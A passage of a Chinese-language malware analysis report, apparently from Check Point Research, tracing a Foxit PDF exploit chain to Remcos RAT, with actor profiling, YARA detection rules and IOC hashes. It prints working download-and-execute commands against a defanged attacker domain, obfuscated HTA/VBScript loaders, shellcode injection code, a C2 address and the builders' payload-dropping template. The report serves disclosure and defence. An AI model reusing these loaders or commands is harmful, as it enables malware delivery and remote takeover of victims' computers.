代码 17 – 第二个 PDF Foxit 漏洞利用。
目前,为了获取最终的恶意有效载荷,需要依次跟踪多个链接或文件。首个有效载荷以一个快捷方式文件(.lnk)的形式被下载,文件名为一串随机字符。该快捷方式利用curl工具从远程服务器下载一个HTML应用程序文件(.hta),然后从用户的应用数据目录下的一个特定位置(如%AppData%路径)执行这个文件。
/c mode 15,1 & .curl hxxps://digitalmarketingstart.com/PHOTO/photoSTARTGOUPDATEPHOTOVIWERGOSTART.JPG -o %AppData%\STARTGOVFFGHJFKJHFTFDGHJF.HTA & start /b %AppData%\STARTGOVFFGHJFKJHFTFDGHJF.HTA
代码 18 – 第一个有效负载,.lnk 文件命令。
HTA 文件向同一服务器发起两个请求,获取两个文件。一个是 VBScript 文件,另一个是用作诱饵的真实图像。值得注意的是,此 HTA 文件包含用阿拉伯语编写的注释。
<html>
<head>
<script language="VBScript">
Set objShell = CreateObject("WScript.Shell")
' تحديد روابط التحميل للملفات
<!--确定文件下载链接-->
Dim urlVBS, urlJPG
urlVBS = "hxxps://digitalmarketingstart.com/PHOTO/PHOTOphoto_2024-04-27_07-31-10.jpg" ' رابط الملف الأول (FILE.VBS) <!--打开第一个文件-->
urlJPG = "hxxps://digitalmarketingstart.com/photo_2024-04-27_07-31-10.jpg" ' رابط الملف الثاني (FILE.JPG) <!--第一个文件链接-->
' تنفيذ أمر التحميل باستخدام curl لكل ملف على حدة
<!--使用curl分别为每个文件执行下载命令-->
commandVBS = "cmd.exe /c mode 15,1 & curl " & urlVBS & " -o %temp%\FGHJFTFDHBJVJHGVHJKFVJGTFKHFJH.VBS & start /b %temp%\FGHJFTFDHBJVJHGVHJKFVJGTFKHFJH.VBS"
commandJPG = "cmd.exe /c mode 15,1 & curl " & urlJPG & " -o %temp%\photo_2024-04-27_07-31-10.jpg & start /b %temp%\photo_2024-04-27_07-31-10.jpg"
' تنفيذ أوامر التحميل لكل ملف بشكل متوازٍ
<!--执行每个文件的下载命令-->
objShell.Run commandVBS, 0, True
objShell.Run commandJPG, 0, True
' حذف ملف HTA الحالي بعد التحميل
<!--下载完成后删除当前的HTA文件-->
Set objFSO = CreateObject("Scripting.FileSystemObject")
strScriptPath = objFSO.GetAbsolutePathName(Replace(document.location.pathname, "/", "\"))
objFSO.DeleteFile strScriptPath
' إغلاق نافذة التطبيق HTA
<!--关闭HTA应用程序窗口-->
window.close
</script>
</head>
<body>
</body>
</html>
代码 19 – 第二个有效负载,.hta 文件内容。
第三个恶意代码有效载荷被存储在临时文件夹中(文件名由一串随机字符组成),并在真实的图像文件被打开前执行。这个VBScript脚本的功能很直接,它负责下载额外的VBScript代码,并根据接收到的“响应”来执行相应的操作。
Execute("set H___________________K=CreateObject(""MSXML2.XMLHTTP""):H___________________K.Open ""POST"",""hxxps://www.digitalmarketingstart.com/digitalmarketing/STARTPOWER2642024GO___________________________AUTO.MP4"",false:H___________________K.send:Execute(H___________________K.responsetext)")
代码 20 – 第三个有效负载,VBScript 文件内容。
VBScript 代码执行以下命令:
mshta hxxps://www.digitalmarketingstart.com/digitalmarketing/ENCLUCKSAQSTART.TXT
代码 21 – 第四个有效负载,VBScript 代码。
第五个有效载荷是一个.hta文件,它与之前的端点保持通信。该文件下载并执行了第六个VBScript脚本,而这个脚本又进一步下载并执行了第七个VBScript脚本。
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -7000,-7000
Const RWQICZXUBCOZEYOXXOLPHN = 0
WQCRFZGGQLHDIRTXIFVENK = "."
YLVTDQQXKKQGPFGEOSJZOP = "$HEVCFLOVSDUCGFHQTKFAHKD = '[]<)#]1%$-63<578699)@3#y]<)#]1%$-63<578699)@3#t@%\@2351$@4^^&+&3521_43</&2*6_-\!^/61[5!^\$@.IO.]<)#]1%$-63<578699)@3#t6}}=&_3+#-$^(5^&/@9--+@%\@2351$@4^^&+&3521_4])=+^-6^!2=993*!&^\=<!3</&2*6_-\!^/61[5!^\$@6}}=&_3+#-$^(5^&/@9--+@%\@2351$@4^^&+&3521_4])=+^-6^!2=993*!&^\=<!d@%\@2351$@4^^&+&3521_46}}=&_3+#-$^(5^&/@9--+]'.Replace(']<)#]1%$-63<578699)@3#','S').Replace('@%\@2351$@4^^&+&3521_4','E').Replace('6}}=&_3+#-$^(5^&/@9--+','R').Replace('])=+^-6^!2=993*!&^\=<!','A').Replace('3</&2*6_-\!^/61[5!^\$@','M');
$HQZNQSANBGESOEVVYSOBKZQ = ($HEVCFLOVSDUCGFHQTKFAHKD -Join '')|&('I'+'EX');
$HSCYFSROAUPLLCWDPFTSSSZ = '[-!]#<)}-[1=&*=-/=)0_0}y-!]#<)}-[1=&*=-/=)0_0}-$)047)[({2\$40(!5$9{)\{4@0+!*83\=8(_)**[<3!m.N\{4@0+!*83\=8(_)**[<3!-$)047)[({2\$40(!5$9{).W\{4@0+!*83\=8(_)**[<3!bR\{4@0+!*83\=8(_)**[<3!qu\{4@0+!*83\=8(_)**[<3!-!]#<)}-[1=&*=-/=)0_0}-$)047)[({2\$40(!5$9{)]'.Replace('-!]#<)}-[1=&*=-/=)0_0}','S').Replace('\{4@0+!*83\=8(_)**[<3!','E').Replace('-$)047)[({2\$40(!5$9{)','T');
$HVILEIYVLFQVNERXEWCGCXO = ($HSCYFSROAUPLLCWDPFTSSSZ -Join '')|&('I'+'EX');$HVSQXGOSZZWOBNBTGXRCCZL = '&@_-)*0%&3@]3*9/-3]7!5r0(#9@{/8_<86!95505!/82a#!#!%26@*34@32@!6&&0##0(#9@{/8_<86!95505!/82'.Replace('&@_-)*0%&3@]3*9/-3]7!5','C').Replace('0(#9@{/8_<86!95505!/82','E').Replace('#!#!%26@*34@32@!6&&0##','T')
;$HJCNHHHRXRCBHPAEKDHSXUX = '_]81{)-=]#\872]20\39$53<73-//{#/_1+&4%8*(}7+tR3<73-//{#/_1+&4%8*(}7+%}[0%58)75/^{8}=[}-41<pon%}[0%58)75/^{8}=[}-41<3<73-//{#/_1+&4%8*(}7+'.Replace('_]81{)-=]#\872]20\39$5','G').Replace('3<73-//{#/_1+&4%8*(}7+','E').Replace('%}[0%58)75/^{8}=[}-41<','S');
$HDRRVVKQKQNGJTRCWXTFBBJ = 'G36=[_^+{34+%8+\48#/+$!t&#-$^#!/&79346)265}]&[36=[_^+{34+%8+\48#/+$!(6@!\}_&+(/#^@7%%}*{=^pon(6@!\}_&+(/#^@7%%}*{=^36=[_^+{34+%8+\48#/+$!(6@!\}_&+(/#^@7%%}*{=^t&#-$^#!/&79346)265}]&[36=[_^+{34+%8+\48#/+$!am'.Replace('(6@!\}_&+(/#^@7%%}*{=^','S').Replace('36=[_^+{34+%8+\48#/+$!','E').Replace('&#-$^#!/&79346)265}]&[','R');
$HQLHKKPKITBTDYXPDFDXDCN = '=14&&!*6}12=_047<0$4*%75(-^77{]*}_+=!<[<@@#8a1#&0\/6^%#08}/\-[@/15^To75(-^77{]*}_+=!<[<@@#8n1#&0\/6^%#08}/\-[@/15^'.Replace('=14&&!*6}12=_047<0$4*%','R').Replace('75(-^77{]*}_+=!<[<@@#8','E').Replace('1#&0\/6^%#08}/\-[@/15^','D');
&('I'+'EX')($HQZNQSANBGESOEVVYSOBKZQ::new($HVILEIYVLFQVNERXEWCGCXO::$HVSQXGOSZZWOBNBTGXRCCZL('hxxps://www.digitalmarketingstart.com/digitalmarketing/NEWLUCKASGSTART.JPG').$HJCNHHHRXRCBHPAEKDHSXUX().$HDRRVVKQKQNGJTRCWXTFBBJ()).$HQLHKKPKITBTDYXPDFDXDCN())"
DUHJKVWUERPRNNKARQDOXB = StrReverse(" "+"l"+"l"+"e"+"h"+"s"+"r"+"e"+"w"+"o"+"p")
Set ITTTPGKCLFFSQRFUUWYUSV = GetObject(StrReverse(":"+"s"+"t"+"m"+"g"+"m"+"n"+"i"+"w") _
& StrReverse("\"+"\"+"!"+"}"+"e"+"t"+"a"+"n"+"o"+"s"+"r"+"e"+"p"+"m"+"i"+"="+"l"+"e"+"v"+"e"+"L"+"n"+"o"+"i"+"t"+"a"+"n"+"o"+"s"+"r"+"e"+"p"+"m"+"i"+"{") _
& WQCRFZGGQLHDIRTXIFVENK & StrReverse("2"+"v"+"m"+"i"+"c"+"\"+"t"+"o"+"o"+"r"+"\"))
Set RPFCRWSNXWFCEAQKDKOGWP = ITTTPGKCLFFSQRFUUWYUSV.Get(StrReverse("p"+"u"+"t"+"r"+"a"+"t"+"S"+"s"+"se"+"c"+"o"+"r"+"P"+"_"+"2"+"3"+"n"+"i"+"W"))
Set NDGKJWLKGWSPQZGHKLTLZG = RPFCRWSNXWFCEAQKDKOGWP.SpawnInstance_
NDGKJWLKGWSPQZGHKLTLZG.ShowWindow = RWQICZXUBCOZEYOXXOLPHN
' Create Notepad process
Set WTQVYZLZBRCALBUSHDHPJG = ITTTPGKCLFFSQRFUUWYUSV.Get(StrReverse("s"+"s"+"e"+"c"+"o"+"r"+"P"+"_"+"2"+"3"+"n"+"i"+"W"))
RASUVEQBLDGPFLLFXDQZRH = WTQVYZLZBRCALBUSHDHPJG.Create _
(DUHJKVWUERPRNNKARQDOXB+YLVTDQQXKKQGPFGEOSJZOP, Null, NDGKJWLKGWSPQZGHKLTLZG, intProcessID)
self.close
</script>
<body>
HBar
</body>
</HEAD>
</HTML>
代码 22 – 第 5 个有效负载代码。
在此阶段,攻击链使用了两个 PDF 文件,采用了不同的“利用”方法,并且需要七次请求和执行脚本语言文件。第七个有效负载 (VBS) 包含嵌入的 Base64 字符串。
- DynamicWrapperX 加载程序,dynwrapx.dll(存储为 AUTOUPDATESTART.dll)
- Shellcode,被注入到Loader中
DCOM_NAME = SHELLOBJ.EXPANDENVIRONMENTSTRINGS (str_temp) & "\" & str_autoupdatestart & ".BIN"
IF NOT IS_DOTNET THEN
str_rundll32 = SHELLOBJ.EXPANDENVIRONMENTSTRINGS ("%WINDIR%" & "\" & str_rundll32)
ELSE
str_rundll32 = SHELLOBJ.EXPANDENVIRONMENTSTRINGS ("%WINDIR%")&"\MICROSOFT.NET\FRAMEWORK\V2.0.50727\MSBUILD.EXE"
END IF
WRITE_FILE DCOM_NAME,TEXTTOBINARY(str_base64_1, "BIN.BASE64")
DO
SHELLOBJ.RUN "REGSVR32.EXE /I /S "& CHR(7.5+7.6+7.4+8.5+1.5+1.5)&DCOM_NAME& CHR(7.5+7.6+7.4+8.5+1.5+1.5),0,TRUE
SET DCOM = CREATEOBJECT("DYNAMICWRAPPERX")
代码 23 – 创建 DynamicWrapperX。
DCOM.REGISTER "KERNEL32.DLL", "VirtualAlloc",LCASE("I=PUUU"), LCASE("R=P")
....
LOADER_PTR = DCOM.VIRTUALALLOC (0,LEN(str_base64_2)/2,4096,64)FOR I = 1 TO LEN (str_base64_2) STEP 2
CHAR = ASC(CHR("&H"&MID (str_base64_2,I,2)))
DCOM.NUMPUT EVAL(CHAR),LOADER_PTR,(I-1)/2
代码 24 – Shellcode 的分配和注入。
一旦注入过程完成,系统会加载并执行 Shellcode,接着解密恶意的可执行文件。最终,这种感染会表现为 Remcos RAT,命令和控制服务器地址为 139.99.85[.]106:2404,运行在名为“Telegram : @Silentkillertv”的僵尸网络下。另一个被哈希值 2266f701f749d4f393b8a123bd7208ec7d5b18bbd22eb47853b906686327ad59 识别的 Remcos 实例也使用相同的命令和控制服务器,但这个僵尸网络名称为“RemoteHost”。
Check Point 发现了多个“在线指纹”,包括 YouTube 和 TikTok 帐号,以及由该行为者创建的 Telegram 帐号和频道。这些平台被用来传播恶意工具和资源。
图 21 – @Silentkillertv YouTube 频道 |
图 22 – Telegram 帐户和频道 |
来自威胁行为者的电报消息:
Name: The Silent Killer
Connected to the Internet and the world of piracy since 2003
I don't have another name online and I never remember I cheated on anyone because this goes against my religion, and that's so bad, that's why I'm honest with people and there's nothing that scares me.
A fraudster usually has many names and accounts assigned to fraud. I don’t have any other channel or name
You don’t have to buy and use my tools, but don’t accuse anyone of being a scam because you don’t have the money to buy and use the tools.
Advice for beggars Instead of looking for free tools and begging, go learn to program and develop yourself and don’t waste your time on empty things.
Greetings to everyone
@Silentkillertv
名称:沉默的杀手
自2003年以来,与互联网和盗版世界有关
我没有其他的在线名字,也从未记得欺骗过任何人,因为这违背了我的宗教信仰,那是非常糟糕的事情,所以我对人们诚实,并没有什么可怕的。
一个骗子通常会有许多用于欺诈的名称和账户。我没有任何其他渠道或名字。
你不必购买和使用我的工具,但不要因为你没有钱购买和使用工具而指责别人是骗局。
给乞丐们的建议:不要寻找免费工具并乞求他人,请去学习编程并发展自己,在空虚中不要浪费时间。
向大家问好
@Silentkillertv
构建
在理解了漏洞并识别出其关键组件后,我们开始搜索其他恶意样本。在收集的文件中,我们发现了一些触发我们检测规则的 .NET 和 Python 文件。经过仔细检查,我们确定这些文件实际上是用于生成恶意样本的构建器。
这些构建器无论使用哪种编程语言,都具有相同的结构。漏洞利用的 PDF 模板包含占位符文本,这些文本在用户提供下载恶意文件的 URL 后会被替换。
Python Builder
Check Point 获得了两个 Python Builder,它们是由同一作者开发的,因为它们具有相同的 Python 代码。唯一的变化在于 PDF 漏洞利用模板中嵌入的 PowerShell 命令。
图 23 – Python Builder 源代码 |
此构建器中使用的命令最初使用 CMD,然后触发 PowerShell。
图 24 – 构建器命令 |
在另一个 Python 构建器中,不是将有效负载作为 .vbs 文件删除,而是将其作为 .exe 文件删除。
一旦攻击者成功构建了 PDF 漏洞,最终消息就会用葡萄牙语写入: “有效负载已成功生成。”
.NET 构建器
在 .NET 平台上,我们获取了多个构建器,包括“Avict Softwares I Exploit PDF”、“PDF Exploit Builder 2023”和“FuckCrypt”。这些构建器的代码非常相似,因为恶意行为者可能会相互窃取代码并制作自己的构建器,这一点并不令我们意外。
图 25 – “Avict Softwares I Exploit PDF”生成器 |
图 26 – “Avict Softwares”界面 |
图 27 – “PDF Exploit Builder 2023”模板存储为资源 |
图 28 – “FuckCrypt”界面 |
“FuckCrypt”勒索软件具有两项主要功能:一项是将可执行文件转换成VBScript脚本的功能,另一项是利用PDF软件漏洞的功能。
所有这些恶意软件构建器都遵循相同的指令和操作流程,它们之间唯一的区别在于文件名。以下是它们的通用指令格式,其中包含$+STRING这样的占位符,用以展示它们之间的细微差别。
/F (CMD) /P (/c cD %tEMP% &@echo powershell -Command "(New-Object Net.WebClient).DownloadFile('$URL', '$DROPPED_FILENAME.exe')" >> $BAT_FILENAME.bat &@echo timeout /t 5 >> $BAT_FILENAME.bat &@echo start $DROPPED_FILENAME.exe >> $BAT_FILENAME.bat &@echo Set oShell = CreateObject ("Wscript.Shell") >> $VBS_FILENAME.vbs &@echo Dim strArgs >> $VBS_FILENAME.vbs &@echo strArgs = "cmd /c $BAT_FILENAME.bat" >> $VBS_FILENAME.vbs &@echo oShell.Run strArgs, 0, false >> $VBS_FILENAME.vbs & $VBS_FILENAME.vbs &dEl $VBS_FILENAME.vbs
代码 25 – 通用命令。
Python恶意软件构建器与“PDF漏洞利用构建器”(仅限EXE文件)有着相似的命名,这暗示它们可能由同一开发者创建,或者其中一个构建器被复制并移植到了另一种编程语言。一个更可信的情况是,原始的.NET代码被盗用并被改写为Python。“Avict Software”(仅限EXE文件)与“FuckCrypt”(VBS文件)之间的命名相似性表明,开发者之间可能存在代码窃取的行为,或者它们来自同一作者,这与之前的情况相似。
构建器统计
从命令中观察到的文件名来看,最常用的构建器似乎是“PDF Exploit Builder”和 Python 变体。还有可能添加了手动命令,或者除了获得的构建器之外还存在其他构建器。
图 29 – 基于 PDF 命令分析的最常用构建器 |
图 30 – 执行分析的 PDF 命令 |
除了我们所观察到的构建器之外,我们还发现了一个在2月13日创建的GitHub项目,该项目提供了一个.NET构建器,它使用了与之前提到的构建器完全相同的“exploit”命令。APT-C-35/DoNot Team
这个高级持续性威胁组织也使用了这个构建器。
图 31 – GitHub Builder |
结论
尽管这种“exploit”行为并不符合触发恶意活动的典型定义,但它更准确地说是一种针对Foxit PDF Reader用户的“网络钓鱼”或操纵手段,诱使用户习惯性地点击“确定”,而没有意识到其中潜在的风险。从电子商务犯罪到APT组织,各类威胁行为者都在利用这种漏洞,多年来它一直未被大多数防病毒软件和沙箱环境所检测,因为这些工具主要针对PDF阅读器市场的主导者Adobe。由于感染成功率高且检测率低,PDF文件可以通过许多非传统渠道传播,例如通过Facebook,而不会被任何检测规则所阻止。Check Point将这个问题报告给了Foxit Reader,后者承认了这一问题,并表示将在2024年发布的版本3中解决。
建议
在软件更新发布之前,建议使用Foxit软件的用户保持警觉,对可能的漏洞利用采取预防措施,并遵循传统的安全防护措施。为了减少受到这类威胁的风险,以下是一些必要的手段:
- 及时通过安装补丁和其他更新手段,保持操作系统和应用程序的最新状态。
- 对于意料之外的电子邮件,尤其是那些包含链接且来自不认识的发件人的邮件,要保持警惕。
- 在员工中提升对网络安全的认识和理解。
- 遇到任何疑问或不确定的情况,应向安全专家寻求帮助。
这些措施有助于保护您的系统免受潜在威胁的侵害,直至软件更新正式发布。
Yara 规则
rule exploit_foxit_pdf
{
meta:
author = "Antonis Terefos(@Tera0017) @ Check Point Research"
description = "PDF FOXITReader"
strings:
$pdf_header = "%PDF-"
$pdf_string1 = "/OpenAction"
$pdf_string2 = "/Launch"
$pdf_string3 = "/Win"
$pdf_string4 = /\/Launch[ \n\r]*(\/[a-zA-Z]+[ \n\r]*)*\/Win/
$command_string1 = "(CMD)" nocase
$command_string2 = "powershell" nocase
$command_string3 = "cmd.exe" nocase
$command_string4 = "Wscript.Shell" nocase
$command_string5 = "DownloadFile(" nocase
$command_string6 = " curl " nocase
$command_string7 = " bitsadmin " nocase
condition:
$pdf_header in (0..1024) and all of ($pdf_string*) and any of ($command_string*)
}
rule exploit_foxit_pdf_builders
{
meta:
author = "Antonis Terefos (@Tera0017) @ Check Point Research"
description = "PDF Foxit Reader samples related to builders"
strings:
$pdf_header = "%PDF-"
$builder_string1 = "startxref\r\n1866%%EOF"
$builder_string2 = "ID [ (bc38735adadf7620b13216ff40de2b26) (bc38735adadf7620b13216ff40de2b26) ]"
$pdf_string1 = "/OpenAction"
$pdf_string2 = "/Launch"
$pdf_string3 = "/Win"
$pdf_string4 = /\/Launch[ \n\r]*(\/[a-zA-Z]+[ \n\r]*)*\/Win/
$command_string1 = "(CMD)" nocase
$command_string2 = "powershell" nocase
$command_string3 = "cmd.exe" nocase
$command_string4 = "Wscript.Shell" nocase
$command_string5 = "DownloadFile(" nocase
$command_string6 = " curl " nocase
$file_string1 = ".exe"
$file_string2 = ".vbs"
$file_string3 = ".bat"
$file_string4 = ".com"
condition:
$pdf_header in (0..1024) and any of ($builder_string*) and all of ($pdf_string*) and any of ($command_string*) and any of ($file_string*)
}
rule donot_downloader
{
meta:
author = "Antonis Terefos (@Tera0017) @ Check Point Research"
description = "APT-C-35 / DoNot Team Downloader"
strings:
$code1 = {83 C0 1A 99 B9 1A 00 00 00 F7 F9 8B C2 83 C0 (41| 61)}
$string1 = "\\TestLog\\" ascii fullword
$string2 = "\\Intel\\" ascii fullword
$string3 = "Computer Name: " ascii fullword
$string4 = "IP Address: " ascii fullword
$string5 = "User Name: " ascii fullword
$string6 = "Operating System Version: " ascii fullword
$string7 = "Computer information written to computer_info.txt" ascii fullword
$stirng8 = "filetoupload" ascii fullword
condition:
uint16(0) == 0x5A4D and 6 of them or ($code1 and 4 of ($string*))
}
rule donot_uploader
{
meta:
author = "Antonis Terefos (@Tera0017) @ Check Point Research"
description = "APT-C-35 / DoNot Team Uploader"
strings:
$code1 = {B8 4F EC C4 4E 41 F7 E8 C1 FA 03 8B C2 C1 E8 1F 03 D0 6B C2 1A 44 2B C0 41 80 C0}
$string1 = "filetoupload" ascii fullword
$string2 = "Path not found: [%s]\n" wide fullword
$string3 = "Directory: %s\n" wide fullword
$string4 = "File: %s\n" wide fullword
condition:
uint16(0) == 0x5A4D and 4 of them
}
IOC
构建器:
(Avict Software) 3f291d07a7b0596dcdf6f419e6b38645b77b551a2716649c12b8706d31228d79
(Avict Software) f002712b557a93da23bbf4207e5bc57cc5e4e6e841653ffab59deb97b19f214e
(PDF Exploit Builder) ac7598e2b4dd12ac584a288f528a94c484570582c9877c821c47789447b780ec
(FuckCrypt) 20549f237f3552570692e6e2bb31c4d2ddf8133c5f59f5914522e88239370514
(FuckCrypt) 87effdf835590f85db589768b14adae2f76b59b2f33fae0300aef50575e6340d
(FuckCrypt) 5c42a4b474d7433bd9f1665dc914de7b3cc7fbdb9618b0322324b534440737d7
(Python) 79e1cb66cb52852ca3f46a2089115e11fff760227ae0ac13f128dda067675fbc (Python) a4a8486c26c050ed3b3eb02c826b1b67e505ada0bf864a223287d5b3f7a0cde0
恶意文件:
(PDF) d44f161b75cba92d61759ef535596912e1ea8b6a5a2067a2832f953808ca8609
(PDF) 9c5883cf118f1d22795f7b5661573f8099554c5a3f78d592e8917917baa6d20f
(PDF) 2aa9459160149ecefd1c9b63420eedc7fe3a21ae0ca3e080c93fd39fef32e9c0
(PDF) 8155a6423d64f30d2994163425d3fbe14a52927d3616ffacea36ddc71a6af4b0
(PDF) c1436f65acbf7123d1a45b0898be69ba964f0c6d569aa350c9d8a5f187b3c0e7
(PDF) de8ecd738f1f24a94aba06f19d426399bc250cc5e7b848b2cbd92fc1d6906403
(Blank-Grabber) d2bd6a05d1e30586216e73602a05367380ae66654cd0bccabb0414ef6810ab18
(Python-Stealer-Dropper) e32d2966a22243f346e06d4da5164abab63c2700c905f22c09a18125ee4de559
(BAT file) eb87ec49879dc44b6794bb70bd6c706e74694e4c2bbc1926dd4cff42e5b63cc6
(BAT file) b59ab9147214bc1682006918692febed4ad37e1d305c5c80dc1ee461914eacd2
(APT-C-35 / DoNot Team Downloader) 4ef9133773d596d1c888b0ffe36287a810042172b0af0dfad8c2b0c9875d1c65
(APT-C-35 / DoNot Team Downloaded1) 3e9a60d5f6174bb1f1c973e9466f3e70c74c771043ee00688e50cac5e8efe185
(APT-C-35 / DoNot Team Uploader) 2d40e892e059850ba708f8092523efeede759ecd6e52d8cb7752462fcdb6f715
(APT-C-35 / DoNot Team Screen) c943fe1b8e1b17ec379d33a6e5819a5736cb5de13564f86f1d3fba320ccebaa0
(APT-C-35 / DoNot Team APK) 7f5f1586b243f477c484c34fa6243c20b3ecf29700c6c17e23a4daf9360e2d2f
(APT-C-35 / DoNot Team APK) ecb4f5f0ee0cda289056f2f994c061d53cfbc8ac413f2ca4da8864c68f0a23f6
(APT-C-35 / DoNot Team APK) 4a7aeb6f510cf5d038e566a3ccd45e98a46463bb67eb34012c8e64444464b081
(PDF) D5483049DC32D1A57E759839930FE17FE31A5F513D24074710F98EC186F06777
(PDF) 19A8201C6A3063B897D696330C1B60BD97914514D2AE6A6C3C1796BEC236724A
(VBScript) 9A7F4FF5FD0A972EEDA9293727F0EECDD7CE2CFE0A072CDF9D3402EE9C46A48E
(VBScript) D761FE4D58FE68FC95D72871429F0FCE6055389A58F81CF0A19EB905A96E1C38
(VBScript) B3AD75EEF9208D58A904030D44DA22C59CE7BD47ED798B0A14B58330A1390FE8
(VBScript) FC330BB132A345AF05FEB0D275EEEF29C7A439A04223757F33360393CF975CA9
(VBScript) A334A9C1A658F4EBEF7BA336F9A27693030DC444509BD9FA8FDEFE8AAAE3A133
(VBScript) E9BF261A779C1B3A023189BEF509579BAD8B496DCFE5E96C19CF8CC8BEA48A08
(VBScript) EE42CF45FFF12BCC9E9262955470BFED810F3530E651FDDB054456264635D9D2
(VBScript) 1CBF897CCCC22A1E6D6A12766ADF0DCEE4C103539ADD2C10C7906042E19519F4
(DynamicWrapperX) 4EF3A6703ABC6B2B8E2CAC3031C1E5B86FE8B377FDE92737349EE52BD2604379
(ShellCode) A5C9A3518F072982404E68DC6A3DC90EDEBBF292FC1ACA6962B6CCF64F4FE28C (Remcos) 0ADE87BA165A269FD4C03177226A148904E14BD328BDBB31799D2EAD59D7C2FA